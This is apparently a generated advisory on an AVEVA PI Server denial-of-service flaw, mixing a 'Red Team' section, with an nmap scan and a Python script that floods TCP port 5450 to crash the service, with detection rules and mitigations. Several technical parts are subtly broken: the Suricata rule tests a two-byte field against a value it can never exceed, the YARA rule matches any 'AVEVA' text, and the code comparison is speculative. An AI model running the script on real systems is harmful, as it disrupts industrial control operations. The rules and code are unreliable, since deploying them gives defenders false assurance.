CVE-2023-34348

Executive Summary

CVE-2023-34348 is a high-severity denial-of-service (DoS) vulnerability affecting AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior. An unauthenticated, remote attacker can exploit this flaw to crash the PI Message Subsystem, leading to a complete denial of service for the PI Server. The vulnerability resides in the message handling logic of the PI Message Subsystem, which fails to properly validate or limit incoming network traffic, allowing a single malformed or high-volume request to exhaust system resources and crash the service. No public proof-of-concept (PoC) code or exploit is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the criticality of the affected system (industrial control/SCADA) warrants immediate attention.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary industrial control system (ICS) component from AVEVA.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability (DoS).

Threat Level: High. The vulnerability is remotely exploitable without authentication, and the impact is a full denial of service of the PI Server, which is critical for industrial data collection and monitoring.

Deep Dive & Mechanics

The AVEVA PI Server is a core component of the PI System, used for real-time data collection, historization, and analysis in industrial environments. The PI Message Subsystem is responsible for handling network communication between PI Server components and external clients.

The vulnerability is a classic resource exhaustion (CWE-400) flaw. The PI Message Subsystem does not properly enforce limits on the size, rate, or structure of incoming network messages. An unauthenticated attacker can send a specially crafted or high-volume stream of network packets to the PI Message Subsystem's listening port (typically TCP 5450). This causes the subsystem to allocate excessive memory or CPU resources, eventually leading to a crash or hang of the service. Once the subsystem crashes, the entire PI Server becomes unavailable, halting all data collection and client connections.

The root cause is likely a lack of input validation and resource throttling in the message parsing logic. The subsystem may attempt to process malformed messages without proper bounds checking, or it may fail to limit the number of concurrent connections or message queue depth.

Vulnerable vs. Patched Code

No patched code is available from the vendor. The following is a conceptual comparison based on the vulnerability description.

Vulnerable Code (Conceptual C/C++):

// Vulnerable: No bounds checking on message size
void process_message(char *buffer, int length) {
    char *data = malloc(length); // No limit on length
    memcpy(data, buffer, length);
    // ... process data
}

Patched Code (Conceptual):

// Patched: Enforce maximum message size
#define MAX_MSG_SIZE 65536
void process_message(char *buffer, int length) {
    if (length > MAX_MSG_SIZE) {
        log_error("Message too large");
        return;
    }
    char *data = malloc(length);
    memcpy(data, buffer, length);
    // ... process data
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: AVEVA PI Server (version 2023 or 2018 SP3 P05 or prior) with PI Message Subsystem exposed on TCP port 5450.
• No authentication required.

Exploitation Steps:

1. Reconnaissance: Scan for open port 5450 using Nmap:

   nmap -p 5450 --open -sV <target_ip>
   

2. Craft Malformed Payload: Use a tool like netcat or a custom Python script to send a large or malformed message to the PI Message Subsystem.

   import socket
   target_ip = "192.168.1.100"
   port = 5450
   # Send a very large payload to trigger resource exhaustion
   payload = b"A" * 1000000  # 1 MB of data
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, port))
   sock.send(payload)
   sock.close()
   

3. Verify DoS: Monitor the PI Server's availability. The service should become unresponsive or crash.

Note: No public exploit code exists. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for unusual traffic patterns on port 5450, especially large payloads or high connection rates.
• Use network intrusion detection systems (NIDS) to alert on oversized packets to the PI Message Subsystem.

Mitigation:

• Restrict network access to the PI Server using firewalls. Only allow trusted IPs to connect to port 5450.
• Implement rate limiting and connection throttling at the network level.
• Monitor PI Server logs for crashes or resource exhaustion events.

Indicators of Compromise (IOCs)

• Network:
  • Unusually large TCP packets (e.g., > 64KB) sent to port 5450.
  • High volume of connections from a single IP to port 5450 within a short time.
• System:
  • PI Message Subsystem process crash or hang.
  • High memory or CPU usage by the PI Message Subsystem process.
  • Event logs showing "PI Message Subsystem stopped unexpectedly" or similar errors.

Detection Engineering

YARA Rule

rule CVE_2023_34348_PI_Message_DoS {
    meta:
        description = "Detects network traffic targeting AVEVA PI Server Message Subsystem DoS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-34348"
    strings:
        $s1 = "PI Message Subsystem" ascii wide nocase
        $s2 = "AVEVA" ascii wide nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: AVEVA PI Server Message Subsystem DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2023-34348 via oversized network packets
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 5450
        PayloadLength: > 65536
    condition: selection
falsepositives:
    - Legitimate large data transfers (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 5450 (msg:"CVE-2023-34348 AVEVA PI Server Message Subsystem DoS Attempt"; flow:to_server; content:"|00|"; depth:1; byte_test:2,>,65536,0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the PI Server on a separate VLAN. Restrict access to port 5450 to only trusted IP addresses using firewall rules.
2. Rate Limiting: Configure network devices to limit the rate of connections to port 5450.
3. Monitoring: Enable detailed logging for the PI Message Subsystem and monitor for crashes or resource exhaustion.

Long-Term Fix:

• Await an official patch from AVEVA. Contact AVEVA support for updates.
• If possible, upgrade to a patched version once released.
• Consider implementing a Web Application Firewall (WAF) or intrusion prevention system (IPS) that can inspect and block malformed traffic to the PI Server.

Workaround:

• Disable the PI Message Subsystem if not required, or restrict its functionality to read-only mode.

Valters IT